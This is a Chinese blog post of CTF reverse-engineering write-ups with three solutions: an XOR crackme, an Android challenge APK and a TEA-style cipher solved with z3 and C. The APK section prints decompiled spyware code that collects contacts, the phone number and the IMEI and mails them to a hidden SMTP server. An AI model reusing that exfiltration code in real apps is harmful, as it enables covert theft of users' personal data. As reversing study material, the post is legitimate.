reverse学习总结(12)

发布于:2024-12-06 ⋅ 阅读:(128) ⋅ 点赞:(0)

一.[FlareOn4]IgniteMe1

https://files.buuoj.cn/files/02b39b8efca02367af23aa279c81cbec/attachment.zip

根据汇编语言分析

查看需要返回为1的函数

int sub_401050()
{
  int v1; // [esp+0h] [ebp-Ch]
  int i; // [esp+4h] [ebp-8h]
  unsigned int j; // [esp+4h] [ebp-8h]
  char v4; // [esp+Bh] [ebp-1h]

  v1 = sub_401020(byte_403078);
  v4 = sub_401000();
  for ( i = v1 - 1; i >= 0; --i )
  {
    byte_403180[i] = v4 ^ byte_403078[i];
    v4 = byte_403078[i];
  }
  for ( j = 0; j < 0x27; ++j )
  {
    if ( byte_403180[j] != byte_403000[j] )
      return 0;
  }
  return 1;
}

可知

// v1 = sub_401020(byte_403078);
int __cdecl sub_401020(int a1)
{
  int i; // [esp+0h] [ebp-4h]

  for ( i = 0; *(i + a1); ++i )
    ;
  return i;
}

猜测和strlen相似

// v4 = sub_401000();
__int16 sub_401000()
{
  return __ROL4__(-2147024896, 4) >> 1;
}

学习一下:

__ROL4__是一个宏或者函数,用于实现循环左移(Rotate Left)操作,通常在编程中用于位操作。循环左移是指将一个数的二进制表示向左移动指定的位数,并将移出的位重新插入到数的右侧。这个操作在不同的编程环境和编译器中可能有不同的实现和命名。

所以把他变成16进制数0x80070000,

2进制左移4位相当于16进制左移1位,是0x00700008

之后再右移一位是0x380004

加密之后和byte_403000相同,

加密函数

int sub_4010F0()
{
  unsigned int v0; // eax
  char Buffer[260]; // [esp+0h] [ebp-110h] BYREF
  DWORD NumberOfBytesRead; // [esp+104h] [ebp-Ch] BYREF
  unsigned int i; // [esp+108h] [ebp-8h]
  char v5; // [esp+10Fh] [ebp-1h]

  v5 = 0;
  for ( i = 0; i < 0x104; ++i )
    Buffer[i] = 0;
  ReadFile(hFile, Buffer, 0x104u, &NumberOfBytesRead, 0);
  for ( i = 0; ; ++i )
  {
    v0 = sub_401020(Buffer);
    if ( i >= v0 )
      break;
    v5 = Buffer[i];
    if ( v5 != 10 && v5 != 13 )
    {
      if ( v5 )
        byte_403078[i] = v5;
    }
  }
  return 1;
}

分析发现和加密没什么关系,所以不用看了

所以只有一次异或加密,写代码实现

#include<stdio.h>  
#include<stdlib.h>  
int main()
{
	unsigned char aIe[] =
{
   13,  38,  73,  69,  42,  23, 120,  68,  43, 108, 
   93,  94,  69,  18,  47,  23,  43,  68, 111, 110, 
   86,   9,  95,  69,  71, 115,  38,  10,  13,  19, 
   23,  72,  66,   1,  64,  77,  12,   2, 105,   
};
	char flag [39];
	int i;
	int v4 = 0x380004;
	for ( i = 38; i >= 0; --i )
  {
    flag[i] = v4 ^ aIe[i];
    v4 = flag[i];
  }
  for(i=0;i<39;i++){
  	printf("%c",flag[i]);
  }
	return 0;
}

R_y0u_H0t_3n0ugH_t0_1gn1t3@flare-on.com

二相册1

https://files.buuoj.cn/files/7f0577aa77c0e2997801c070b34047f2/bd3ebe0b-b510-4ace-988f-f61fe1291729.rar

下载完一看是apk文件,拖入gadx-gui中查看,因为提示中有邮箱,所以搜索mail,记得加载所有再查看

发现可能的关键函数,点进去

package cn.baidujiayuan.ver5304;

import android.content.Context;
import android.os.AsyncTask;
import android.telephony.TelephonyManager;
import com.sun.mail.imap.IMAPStore;
import java.util.List;

/* loaded from: classes.dex */
public class MailTask extends AsyncTask<Integer, Integer, String> {
    private String content;
    private Context context;

    public void run(String content) {
        String notebooks = "";
        List<String[]> notes = NoteBook.get(this.context, IMAPStore.RESPONSE);
        for (String[] note : notes) {
            notebooks = String.valueOf(notebooks) + note[0] + ":" + note[1] + "\r\n";
        }
        TelephonyManager tm = (TelephonyManager) this.context.getSystemService("phone");
        String tel = tm.getLine1Number();
        if (tel == null || tel.equals("")) {
            Sms getBFlag = A2.getNoteBook(content);
            tel = getBFlag.phoneNumber;
        }
        A2.getNoteBook(content);
        if (!A2.isEmpty(notebooks)) {
            TelephonyManager telephonyManager = (TelephonyManager) this.context.getSystemService("phone");
            String imei = telephonyManager.getDeviceId();
            A2.sendMailByJavaMail(C2.MAILSERVER, "通讯录(" + tel + "IMEI" + imei + ")", notebooks);
        }
    }

    public MailTask(String content, Context context) {
        this.content = content;
        this.context = context;
    }

    /* JADX INFO: Access modifiers changed from: protected */
    @Override // android.os.AsyncTask
    public String doInBackground(Integer... params) {
        publishProgress(1);
        A2.log("拦截消息doInBackground");
        run(this.content);
        return "doInBackground:" + this.content;
    }

    @Override // android.os.AsyncTask
    protected void onPreExecute() {
        A2.log("拦截消息后准备发送");
    }

    /* JADX INFO: Access modifiers changed from: protected */
    @Override // android.os.AsyncTask
    public void onProgressUpdate(Integer... values) {
        A2.log("拦截消息后准备发送中");
    }

    /* JADX INFO: Access modifiers changed from: protected */
    @Override // android.os.AsyncTask
    public void onPostExecute(String result) {
        A2.log("拦截消息后发送结束:" + result);
    }
}

查看MAILSERVER函数

package cn.baidujiayuan.ver5304;

import android.content.Context;
import android.content.SharedPreferences;
import com.net.cn.NativeMethod;
import it.sauronsoftware.base64.Base64;
import java.text.ParsePosition;
import java.text.SimpleDateFormat;
import java.util.Date;

/* loaded from: classes.dex */
public class C2 {
    public static final String CANCELNUMBER = "%23%2321%23";
    public static final String MAILFROME;
    public static final String MAILHOST = "smtp.163.com";
    public static final String MAILPASS;
    public static final String MAILSERVER;
    public static final String MAILUSER;
    public static final String MOVENUMBER = "**21*121%23";
    public static final String PORT = "25";
    public static final String date = "2115-11-1";
    public static final String phoneNumber;

    static {
        System.loadLibrary("core");
        MAILSERVER = Base64.decode(NativeMethod.m());
        MAILUSER = Base64.decode(NativeMethod.m());
        MAILPASS = Base64.decode(NativeMethod.pwd());
        MAILFROME = Base64.decode(NativeMethod.m());
        phoneNumber = Base64.decode(NativeMethod.p());
    }

    public static Date strToDateLong(String strDate) {
        SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd");
        ParsePosition pos = new ParsePosition(0);
        Date strtodate = formatter.parse(strDate, pos);
        return strtodate;
    }

    public static boolean isFilter(Context context) {
        Date lastN = strToDateLong(date);
        Date currentTime = new Date();
        return lastN.getTime() - currentTime.getTime() < 0;
    }

    public static boolean isServerFilter(Context context) {
        SharedPreferences mSharedPreferences = context.getSharedPreferences("X", 0);
        String m = mSharedPreferences.getString("m", A2.FILTERSETUPTAG);
        return m.equals(A2.FILTERSETUPTAG);
    }
}

查看数据NativeMethod

学习一下:

在jadx中,"native"指的是原生方法,这些方法在Java代码中声明,但它们的实现位于C或C++编写的本地库中。原生方法使用`native`关键字进行声明,这意味着它们在Java虚拟机(JVM)之外执行,通常用于访问底层系统资源或进行性能关键型操作。在Android开发中,原生方法常用于与NDK(Native Development Kit)交互,以实现更接近硬件层面的功能。

在jadx反编译过程中,原生方法的声明会被识别,但由于它们的实现在本地库中,jadx无法提供这些方法的具体实现细节。用户可能会看到类似`public native String stringFromJNI();`的声明,这表明该方法是一个原生方法,其实现需要在本地代码中找到。

在jadx中,"native"关键字用于声明Java代码中的本地方法,这些方法在Java层声明,但其实现位于C或C++编写的本地库中,通常编译为.so文件。这些本地方法通过JNI(Java Native Interface)与Java代码交互,允许Android应用程序访问底层系统资源或执行性能关键型操作。当jadx反编译包含native方法的Android应用时,它会识别出这些方法,但无法提供其在.so文件中的具体实现细节,因为实现代码位于本地库中,不在Java代码中。

.so文件是C/C++代码编译后的动态链接库,它们在Android应用中用于实现native方法。这些.so文件可以在Android的JNI中被Java代码调用。jadx作为一个反编译工具,可以帮助开发者理解应用程序的结构,包括那些通过JNI调用的native方法。然而,要查看这些native方法的具体实现,需要查看相应的.so文件或C/C++源代码。

所以我们要找到apk文件的.so文件

其中apk就是一个安装包,解压之后在ida中打开.so文件查找即可,因为可以看出是base64加密,所以一般密文最后有"="填充符

查找字符串

在线自定义base64编解码、在线二进制转可打印字符、在线base2、base4、base8、base16、base32、base64--查错网

flag{18218465125@163.com}

三.[GWCTF 2019]xxor1

https://files.buuoj.cn/files/baba20fce498e7b1d5ad774fcb5bc89e/attachment

多学习于此:

BUUCTF [GWCTF 2019]xxor_buuctf xxor-CSDN博客

re题(37)BUUCTF-[GWCTF 2019]xxor-CSDN博客

查壳和找到主函数都没有问题,从分析代码开始

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int i; // [rsp+8h] [rbp-68h]
  int j; // [rsp+Ch] [rbp-64h]
  __int64 v6[6]; // [rsp+10h] [rbp-60h] BYREF
  __int64 v7[6]; // [rsp+40h] [rbp-30h] BYREF

  v7[5] = __readfsqword(0x28u);
  puts("Let us play a game?");
  puts("you have six chances to input");
  puts("Come on!");
  memset(v6, 0, 40);
  for ( i = 0; i <= 5; ++i )
  {
    printf("%s", "input: ");
    a2 = (v6 + 4 * i);
    __isoc99_scanf("%d", a2);
  }
  memset(v7, 0, 40);
  for ( j = 0; j <= 2; ++j )
  {
    dword_601078 = v6[j];
    high = HIDWORD(v6[j]);
    a2 = &unk_601060;
    xxor(&dword_601078, &unk_601060);
    LODWORD(v7[j]) = dword_601078;
    HIDWORD(v7[j]) = high;
  }
  if ( sub_400770(v7, a2) != 1 )
  {
    puts("NO NO NO~ ");
    exit(0);
  }
  puts("Congratulation!\n");
  puts("You seccess half\n");
  puts("Do not forget to change input to hex and combine~\n");
  puts("ByeBye");
  return 0LL;
}

(1)读入代码

for ( i = 0; i <= 5; ++i )
{
  printf("%s", "input: ");
  a2 = (v6 + 4 * i);
  __isoc99_scanf("%d", a2);
}

循环6次,

提示输入,

char **a2 表示一个指向字符指针的指针,所以a2指向v6,

之后读取一个整数,并将其存储在 a2 指向的位置。由于 a2v6 数组中第 i 个元素的地址,所以这个整数将被存储在 v6[i] 中。

(2)查看密文

查看sub_400770可以知道所需要的值,

__int64 __fastcall sub_400770(_DWORD *a1)
{
  if ( a1[2] - a1[3] == 0x84A236FFLL
    && a1[3] + a1[4] == 0xFA6CB703LL
    && a1[2] - a1[4] == 1121399208LL
    && *a1 == 0xDF48EF7E
    && a1[5] == 0x84F30420
    && a1[1] == 0x20CAACF4 )
  {
    puts("good!");
    return 1LL;
  }
  else
  {
    puts("Wrong!");
    return 0LL;
  }
}

学习z3解方程

Z3 定理证明器使用教程-CSDN博客

安装好之后就代入数据即可

from z3 import *

s = Solver()
a1 = [Int(f'a1[{i}]') for i in range(6)]

# 添加约束
s.add(a1[2] - a1[3] == 2225223423)
s.add(a1[3] + a1[4] == 4201428739)
s.add(a1[2] - a1[4] == 1121399208)
s.add(a1[0] == -548868226)
s.add(a1[5] == -2064448480)
s.add(a1[1] == 550153460)

# 检查是否有解
if s.check() == sat:
    print(s.model())
else:
    print("No solution found.")

(3)加密方式

进入循环,知道v6一共有6个字符串,看到j++,只循环三次,但是在汇编中

j+=2;所以伪代码错误了,应该是v6的每一个数都加密(虽然j+=2也不一定是每一个都加密,但是既然错都错了,所以按照常理来说应该是都加密吧.....)

汇编语言没学过,所以直接抄了....结果还是不太懂.

.text:00000000004007D0                 mov     [rbp+var_8], rax
.text:00000000004007D4                 mov     eax, 84A236FFh
.text:00000000004007D9                 cmp     [rbp+var_18], rax
.text:00000000004007DD                 jnz     short loc_400845
.text:00000000004007DF                 mov     eax, 0FA6CB703h
.text:00000000004007E4                 cmp     [rbp+var_10], rax
.text:00000000004007E8                 jnz     short loc_400845
.text:00000000004007EA                 cmp     [rbp+var_8], 42D731A8h
.text:00000000004007F2                 jnz     short loc_400845
.text:00000000004007F4                 mov     rax, [rbp+var_28]
.text:00000000004007F8                 mov     eax, [rax]
.text:00000000004007FA                 cmp     eax, 0DF48EF7Eh
.text:00000000004007FF                 jnz     short loc_400834
.text:0000000000400801                 mov     rax, [rbp+var_28]
.text:0000000000400805                 add     rax, 14h
.text:0000000000400809                 mov     eax, [rax]
.text:000000000040080B                 cmp     eax, 84F30420h
.text:0000000000400810                 jnz     short loc_400834
.text:0000000000400812                 mov     rax, [rbp+var_28]
.text:0000000000400816                 add     rax, 4
.text:000000000040081A                 mov     eax, [rax]
.text:000000000040081C                 cmp     eax, 20CAACF4h

可以注意到,IDA中并没有为tmp1、tmp2声明变量(实际上,它们本不是这个名字,但为了方便阅读而被我改成了这个名字;从汇编窗口可以知道它们均为4个字节的变量(int))

  如下代码展示了LODWORD和HIDWORD的结果,乍一看似乎相当不同,但实际上这不过是一种比较别扭的写法罢了

    注意到tmp2的结果和a1[1]相同,而将a1[0]的类型换为int之后也将得到与tmp1相同的结果,也就是说,这两个函数并没有起到任何作用,只是做了简单的赋值罢了

    (尽管我想说具体问题具体分析,但倘若使用的是LOBYTE和HIBYTE的话,结果就将彻底不同了。但通常来说,出题人并不会特地去这样写,至少一般来说,并没有LODWORD这样的函数)

unsigned int a1[6] = { 3746099070,550153460, 3774025685 ,1548802262 ,2652626477 ,2230518816 };
int tmp1, tmp2;
tmp1 = LODWORD(a1[0]);// -548868226
tmp2 = HIDWORD(a1[1]);// 550153460

————————————————

                            版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
                        
原文链接:https://blog.csdn.net/2301_80907001/article/details/142407558

xxor加密函数

__int64 __fastcall sub_400686(unsigned int *a1, _DWORD *a2)
{
  __int64 result; // rax
  unsigned int v3; // [rsp+1Ch] [rbp-24h]
  unsigned int v4; // [rsp+20h] [rbp-20h]
  int v5; // [rsp+24h] [rbp-1Ch]
  unsigned int i; // [rsp+28h] [rbp-18h]

  v3 = *a1;
  v4 = a1[1];
  v5 = 0;
  for ( i = 0; i <= 63; ++i )
  {
    v5 += 0x458BCD42;
    v3 += (v4 + v5 + 11) ^ ((v4 << 6) + *a2) ^ ((v4 >> 9) + a2[1]) ^ 32;
    v4 += (v3 + v5 + 20) ^ ((v3 << 6) + a2[2]) ^ ((v3 >> 9) + a2[3]) ^ 16;
  }
  *a1 = v3;
  result = v4;
  a1[1] = v4;
  return result;
}

可知是tea加密,是对称加密,所以a2unk_601060应该是4个数,而每次传入的是两个数,所以就是j+=2;

所以a2unk_601060是2,2,3,4,对于j来说,只要是熟悉了tea加密,应该能猜出来(算法以32bits 的字为运算单位)

之后写代码实现

#include <stdio.h>
int main()
{
	int a1[6];
	a1[4] = 2652626477;
 	a1[1] = 550153460;
 	a1[3] = 1548802262;
 	a1[5] = 2230518816;
 	a1[2] = 3774025685;
 	a1[0] = 3746099070;
 	int a2[4]={2,2,3,4};
 	int i,j;
    for(j=0;j<6;j+=2)
{
  __int64 result; // rax
  unsigned int v3; // [rsp+1Ch] [rbp-24h]
  unsigned int v4; // [rsp+20h] [rbp-20h]
  int v5; // [rsp+24h] [rbp-1Ch]
  unsigned int i; // [rsp+28h] [rbp-18h]

  v3 = a1[j];
  v4 = a1[j+1];
  v5 = 1166789954*64;
  for ( i = 0; i <= 63; ++i )
  {
  	v4 -= (v3 + v5 + 20) ^ ((v3 << 6) + a2[2]) ^ ((v3 >> 9) + a2[3]) ^ 16;
  	v3 -= (v4 + v5 + 11) ^ ((v4 << 6) + *a2) ^ ((v4 >> 9) + a2[1]) ^ 32;
    v5 -= 1166789954;
  }
  a1[j] = v3;
  a1[j+1] = v4;
}
	for(i=0;i<6;i++){
		printf("%x\n",a1[i]);
	}
}

因为要把数字转换成字符串,所以我输出成16进制数%x,之后因为是6位16进制的数,又因为段序问题,所以直接在devc中再写代码实现字符串输出

printf("%c%c%c", *((char*)&a1[i] + 2), *((char*)&a1[i] + 1), *(char*)&a1[i]);

flag{re_is_great!}

或者用在线网站转成字符串ASCII码转字符串 - ASCII码

flag{re_is_great!}


网站公告

今日签到

点亮在社区的每一天
去签到